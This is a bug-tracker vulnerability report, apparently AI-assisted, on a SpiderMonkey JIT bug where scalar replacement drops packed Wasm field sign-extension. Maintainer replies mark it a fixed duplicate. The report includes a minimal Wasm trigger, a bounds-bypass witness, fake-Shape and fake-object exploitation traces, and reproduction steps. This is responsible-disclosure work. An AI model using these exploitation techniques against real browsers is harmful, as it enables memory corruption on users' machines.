Wasm Struct Scalar Replacement Drops Packed-Field Widening
Categories
(Core :: JavaScript: WebAssembly, defect, P3)
Tracking
()
People
(Reporter: bd, Unassigned)
References
Details
(Keywords: ai-involved, reporter-external, sec-other, Whiteboard: [client-bounty-form])
Attachments
(1 file)
|
186.27 KB,
application/zip
|
Details |
Reporter: OpenAI Preparedness, Bill Demirkapi
Organization: OpenAI
Component: SpiderMonkey JIT / WebAssembly GC Ion compilation
Affected Area: WasmStructMemoryView::visitWasmLoadField, Wasm packed-field lowering, scalar replacement of Wasm structs
Bug Class: optimizer drops signed / unsigned packed-field widening -> incorrect native bounds relation -> memory-safety consumers
Discovery Method: GPT-5.5 source review, differential execution, source-patch validation, sanitizer and debugger analysis
Summary
SpiderMonkey's Ion compiler records how packed Wasm GC fields must be widened when they are loaded. A signed struct.get_s on an i8 field is supposed to produce a sign-extended i32, so a stored byte value of 129 must become -127.
That contract is preserved by normal lowering, but it is lost when Wasm struct scalar replacement removes the load. The compiler substitutes the scalar-replaced field value directly and discards the MWasmLoadField instruction without reapplying its MWideningOp.
In optimized code, this changes:
i8 129 read with struct.get_s -> expected -127
i8 129 after SRA replacement -> observed +129
The bug is reachable from ordinary JavaScript through WebAssembly GC. It is not limited to a harmless value mismatch: the wrong positive index can make operations such as array.copy execute when the correctly sign-extended negative index should trap. We used that wrong bounds decision to drive downstream memory-safety consumers, including attacker-influenced fake-shape reads during GC tracing.
Impact
A malicious page that gets Wasm GC code optimized by Ion can cause SpiderMonkey to use un-widened packed-field values in native memory operations.
The cleanest reduced witness is an array.copy whose destination index comes from:
i32.const 129
struct.new $st8
struct.get_s $st8 0
Correct semantics produce -127, so the copy traps. With Ion scalar replacement enabled, SpiderMonkey uses raw +129, and the copy succeeds.
That incorrect native bounds result was then developed into stronger consumers:
- exact-bound
array.copywrites that disappear when scalar replacement is disabled; - forged-object paths where attacker-chosen raw words are consumed as fake
Shape*bases during GC marking; - later exploratory fake-object work that reached an indirect native call through a crafted
JSClassOps::getPropertychain.
The reportable core issue is the widening loss itself plus the verified memory-safety consequences. The later fake-object work is included as exploitation context, not as a claim that a full browser exploit is already packaged here.
Root Cause
The bug is a mismatch between three compiler stages:
- Wasm lowering explicitly records the widening operation required by struct.get_s / struct.get_u.
- Normal lowering and baseline code generation honor that widening operation.
- Wasm struct scalar replacement replaces the load with the raw field value and forgets the widening operation.
1. Wasm lowering records the required packed-field semantics
fieldLoadInfoToMIR() maps Wasm packed field loads to a concrete MIR widening operation:
// js/src/wasm/WasmIonCompile.cpp:4818-4843
static void fieldLoadInfoToMIR(StorageType type, FieldWideningOp wideningOp,
MIRType* mirType, MWideningOp* mirWideningOp) {
switch (type.kind()) {
case StorageType::I8: {
switch (wideningOp) {
case FieldWideningOp::Signed:
*mirType = MIRType::Int32;
*mirWideningOp = MWideningOp::FromS8;
return;
case FieldWideningOp::Unsigned:
*mirType = MIRType::Int32;
*mirWideningOp = MWideningOp::FromU8;
return;
For i16, the same function records FromS16 or FromU16.
The field read helper then attaches that widening op to the MWasmLoadField instruction:
// js/src/wasm/WasmIonCompile.cpp:5012-5037
MIRType mirType;
MWideningOp mirWideningOp;
fieldLoadInfoToMIR(type, fieldWideningOp, &mirType, &mirWideningOp);
auto* load = MWasmLoadField::New(alloc(), base, keepAlive, offset,
mozilla::Some(fieldIndex), mirType,
mirWideningOp, AliasSet::Load(aliasBitset),
maybeTrap, type.toMaybeRefType());
MWasmLoadField stores the widening operation as part of the instruction state:
// js/src/jit/MIR-wasm.h:2535-2599
class MWasmLoadField : public MBinaryInstruction, public NoTypePolicy::Data {
...
MWideningOp wideningOp_;
...
MWideningOp wideningOp() const { return wideningOp_; }
};
So at MIR construction time, SpiderMonkey has the exact information it needs to preserve signedness.
2. Normal code generation preserves the widening operation
The Ion backend carries ins->wideningOp() into LIR:
// js/src/jit/Lowering.cpp:8708-8721
void LIRGenerator::visitWasmLoadField(MWasmLoadField* ins) {
...
MWideningOp wideningOp = ins->wideningOp();
...
define(new (alloc()) LWasmLoadSlot(data, offset, ins->type(), wideningOp,
ins->maybeTrap()),
ins);
}
The final code generator emits the expected sign-extending loads:
// js/src/jit/CodeGenerator.cpp:11084-11116
case MWideningOp::FromS16:
fco = masm.load16SignExtend(addr, dst.gpr());
break;
case MWideningOp::FromS8:
fco = masm.load8SignExtend(addr, dst.gpr());
break;
Baseline compilation does the same thing directly:
// js/src/wasm/WasmBaselineCompile.cpp:7493-7518
if (wideningOp == FieldWideningOp::Unsigned) {
fco = masm.load8ZeroExtend(src, r);
} else {
fco = masm.load8SignExtend(src, r);
}
This is why the baseline engine and Ion-with-SRA-disabled both behave correctly.
3. Scalar replacement discards the widening operation
The failing path is in Wasm struct scalar replacement:
// js/src/jit/ScalarReplacement.cpp:3741-3754
void WasmStructMemoryView::visitWasmLoadField(MWasmLoadField* ins) {
MDefinition* base = ins->base();
if (base != struct_) {
return;
}
MDefinition* value = state_->getField(ins->structFieldIndex().value());
// Replace load by the field value.
ins->replaceAllUsesWith(value);
ins->block()->discard(ins);
}
state_->getField(...) returns the scalar value stored into the virtual struct. For packed fields, that value is the pre-widened raw Int32. Once replaceAllUsesWith(value) executes, the only instruction carrying the required FromS8 / FromS16 / FromU8 / FromU16 semantics has been removed.
The violated invariant is:
Replacing a
MWasmLoadFieldduring scalar replacement must preserve both the field value and the load's widening semantics.
The Wasm struct scalar-replacement support that contains this path was introduced by:
34a4d715c335fa2917b51949eec939f9ec7e2795
Bug 1887035 - Implement scalar replacement of wasm structs
2024-10-22
Minimal Trigger
The smallest useful reproducer stores 129 into an i8 field, reads it with struct.get_s, and uses the result as the destination index of array.copy:
(type $st8 (struct (field (mut i8))))
(type $refarr (array (mut (ref null any))))
(func (export "run") (result (ref null any))
(local $src (ref $refarr))
(local $dst (ref $refarr))
(local $idx i32)
i32.const 129
struct.new $st8
struct.get_s $st8 0
local.set $idx
i32.const 256
array.new_default $refarr
local.set $src
i32.const 4096
array.new_default $refarr
local.set $dst
;; src[254] = payload254; src[255] = payload255
...
(array.copy $refarr $refarr
(local.get $dst) (local.get $idx)
(local.get $src) (i32.const 254)
(i32.const 2))
local.get $dst
i32.const 130
array.get $refarr)
The source-level expectation is straightforward:
129 stored in i8 -> 0x81
struct.get_s from i8 -> -127
dst index -127 -> out-of-bounds trap
Observed behavior
With Ion scalar replacement active:
BRANCH wasm-arraycopy-signed-index-min-probe
ARGS copyCount=2 returnOffset=1 idxConst=129 idxMode=struct-s ... forceIon=1
RESULT id=255 marker=src255 same254=0 same255=1
TRAPS 0
With scalar replacement disabled:
BRANCH wasm-arraycopy-signed-index-min-probe
ARGS copyCount=2 returnOffset=1 idxConst=129 idxMode=struct-s ... forceIon=1
TRAP index out of bounds
TRAPS 1
With Wasm baseline:
BRANCH wasm-arraycopy-signed-index-min-probe
ARGS copyCount=2 returnOffset=1 idxConst=129 idxMode=struct-s ... forceIon=0
TRAP index out of bounds
TRAPS 1
Two direct controls show that array.copy itself is not the primary bug:
direct i32.const -127 -> traps
direct i32.const 129 -> returns src255
The optimizer is turning the signed packed-field path into the second case.
Packed-Field Matrix
The defect is not limited to one hand-picked value. A broader matrix over i8 / i16 signed and unsigned loads shows the same class of error only in the optimized scalar-replaced path:
Ion + SRA:
CASE value=129 i8_s=129 exp=-127
CASE value=32768 i16_s=32768 exp=-32768
CASE value=65536 i16_u=65536 exp=0
MISMATCH_CASES 11
SRA disabled:
MISMATCH_CASES 0
Wasm baseline:
MISMATCH_CASES 0
Patched build:
MISMATCH_CASES 0
This matrix is useful because it shows the bug is the entire lost-widening family, not just one signed i8 corner case.
Why This Becomes Memory Safety
The wrong index is already a native bounds decision. Once a value that should be negative is reused as a large positive index, operations intended to trap can write or copy into attacker-chosen in-bounds locations instead.
1. Exact wrong-index writes
The reduced array.copy witness demonstrates the first security boundary crossing:
expected signed index: -127
observed SRA index: +129
result: copy executes instead of trapping
The same pattern generalizes to i16:
i32.const 32768
struct.new $st16
struct.get_s $st16 0
Correct result:
-32768
Observed with SRA:
+32768
That gives an attacker-controlled way to steer where subsequent native consumers operate.
2. Attacker-chosen fake-shape reads during GC
In a stronger downstream consumer, the miscompiled packed-field index feeds a forged object path. The harness writes an attacker-selected raw word into object state:
LENGTH_RAW_SET mode=0x4141414141414100 bits=0x4141414141414100
ARRAYSET_VALUE 778
When GC tracing consumes the forged state, ASan reports a crash while marking a Shape, and the chosen word appears as the read base:
ERROR: AddressSanitizer: SEGV
#3 markIfUnmarked
#4 markIfUnmarked
#5 mark<0U, js::Shape>
...
rsi = 0x4141414141414100
Changing the chosen word changes the consumed native address:
0x4141414141414100 -> fake shape read base 0x4141414141414100
0x4242424242424200 -> fake shape read base 0x4242424242424200
Focused debugger runs show the exact native read:
rsi=0x4141414141414100
rdx=0x4141414141400000
=> mov -0xc0(%rdx,%r9,8),%r10
The same route is suppressed by every root-cause control:
SRA disabled: WASM_TRAP index out of bounds
Wasm baseline: WASM_TRAP index out of bounds
patched build: WASM_TRAP index out of bounds
That is the important security result: the lost widening is not just observable in JavaScript. It enables attacker-influenced native object metadata reads that disappear when widening is restored.
3. Later fake-object / indirect-call research
Follow-on work pushed a related consumer farther. A destination slot populated through the same miscompiled path was later reinterpreted as a fake object. Debugger traces showed a forged JSObject / Shape / BaseShape chain reaching an indirect call through GetProperty():
CALLTARGET_CHAIN
fakeObj=0x7ffff68a3930
fakeShape=0x7ffff68a3000
fakeBase=0x7ffff682a000
fakeClass=0x7ffff5543000
fakeOOps=0x3508e5738040
fakeGetProperty=0xfffe3508e5737030
=> call *%rax
The cleanly established issue is already severe before that point: a JIT optimization silently changes packed-field semantics and routes attacker-controlled values into native memory-safety consumers.
Patch Sensitivity
A diagnostic fix that reapplies the original MWideningOp during scalar replacement restores the intended behavior:
MDefinition* value = state_->getField(ins->structFieldIndex().value());
MWideningOp wideningOp = ins->wideningOp();
if (wideningOp == MWideningOp::FromS8) {
value = MSignExtendInt32::New(alloc_, value, MSignExtendInt32::Byte);
}
...
ins->replaceAllUsesWith(value);
After the patch:
signed-index minprobe: traps
packed-field matrix: MISMATCH_CASES 0
downstream fake-shape path: traps before the consumer
The direct positive control remains valid:
direct i32.const 129 -> returns src255
So the patch is restoring the missing packed-field semantics rather than disabling array.copy generally.
Suggested Fix
When WasmStructMemoryView::visitWasmLoadField() replaces a MWasmLoadField, it should preserve the instruction's widening semantics before substituting uses.
At minimum:
- Read
ins->wideningOp()before discarding the load. - Recreate the equivalent sign-extend or zero-extend MIR operation on the scalar-replaced value when the widening op is not
None. - Replace all uses with the widened value, not the raw stored field.
- Add regression tests for:
- signed and unsigned
i8/i16packed fields; - direct value correctness under Ion scalar replacement;
- a bounds-sensitive consumer such as
array.copy; - parity with scalar replacement disabled and Wasm baseline.
- signed and unsigned
The attached diagnostic patch follows exactly that strategy.
Affected Builds
The bug was reproduced on:
- Firefox
150.0; - Firefox Nightly
152.0a1(2026-05-07).
Reproduction Package
The package includes:
poc/signed-index-minprobe-browser.html
poc/signed-index-minprobe-browser.js
poc/js-only/signed-index-minprobe.js
poc/js-only/fixedslots-dataview-writeaddr.js
patches/sra-wasm-loadfield-preserve-widening.diff
Recommended reading order:
signed-index-minprobe.jsfor the smallest root-cause reproducer;fixedslots-dataview-writeaddr.jsfor a stronger downstream consumer;- the patch file for the minimal source correction shape.
Proof of Concept
The attached browser PoC is intentionally a crash reproducer rather than the full exploit chain.
Run:
python3 -m http.server 8000
Open:
http://127.0.0.1:8000/signed-index-minprobe-browser.html
Expected behavior:
- vulnerable URL: content-process crash after warmup on affected builds, sometimes after several reloads.
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. [This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.]
OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.
Updated•5 months ago
|
Updated•5 months ago
|
Comment 3•5 months ago
|
||
(In reply to Jan de Mooij [:jandem] from comment #1)
Was this one fixed in bug 1982616?
Yes, I think this was fixed by bug 1982616 https://phabricator.services.mozilla.com/D283381.
Comment 4•5 months ago
|
||
Yes this looks like a duplicate. We assessed that it was not security sensitive because we couldn't find a way to break the sandbox with it. It just gives an incorrect i32, which if used later will be bounds checked. The report describes a bounds check bypass, but I don't see how that could happen. We don't do range analysis or any further optimizations which would speculate that a narrowed i32 from a struct.get_s/u is always narrowed. I need to look into the PoC to confirm that's the case though.
Comment 5•5 months ago
|
||
Thank you for the report!
I can confirm this was fixed a few days ago by bug 1982616, the poc doesn't reproduce anymore on the latest commit. The associated patch is pretty much what we have now in https://searchfox.org/firefox-main/source/js/src/jit/ScalarReplacement.cpp#3999-4056
Comment 6•5 months ago
|
||
If I back out the fix from bug 1982616, the attached PoC does crash, but it looks like it's due to bug 2038081 (from this same reporter). Once we have a fix for that bug, I'll confirm if there's anything else going on here.
Comment 7•5 months ago
|
||
This is a duplicate of bug 1982616 which is not a security bug. However, it does have part of bug 2038081 in the PoC (which is a security bug) and so it should remain hidden.
Updated•5 months ago
|
Updated•5 months ago
|
Updated•5 months ago
|
Updated•5 months ago
|
Updated•1 month ago
|
Updated•1 month ago
|
Description
•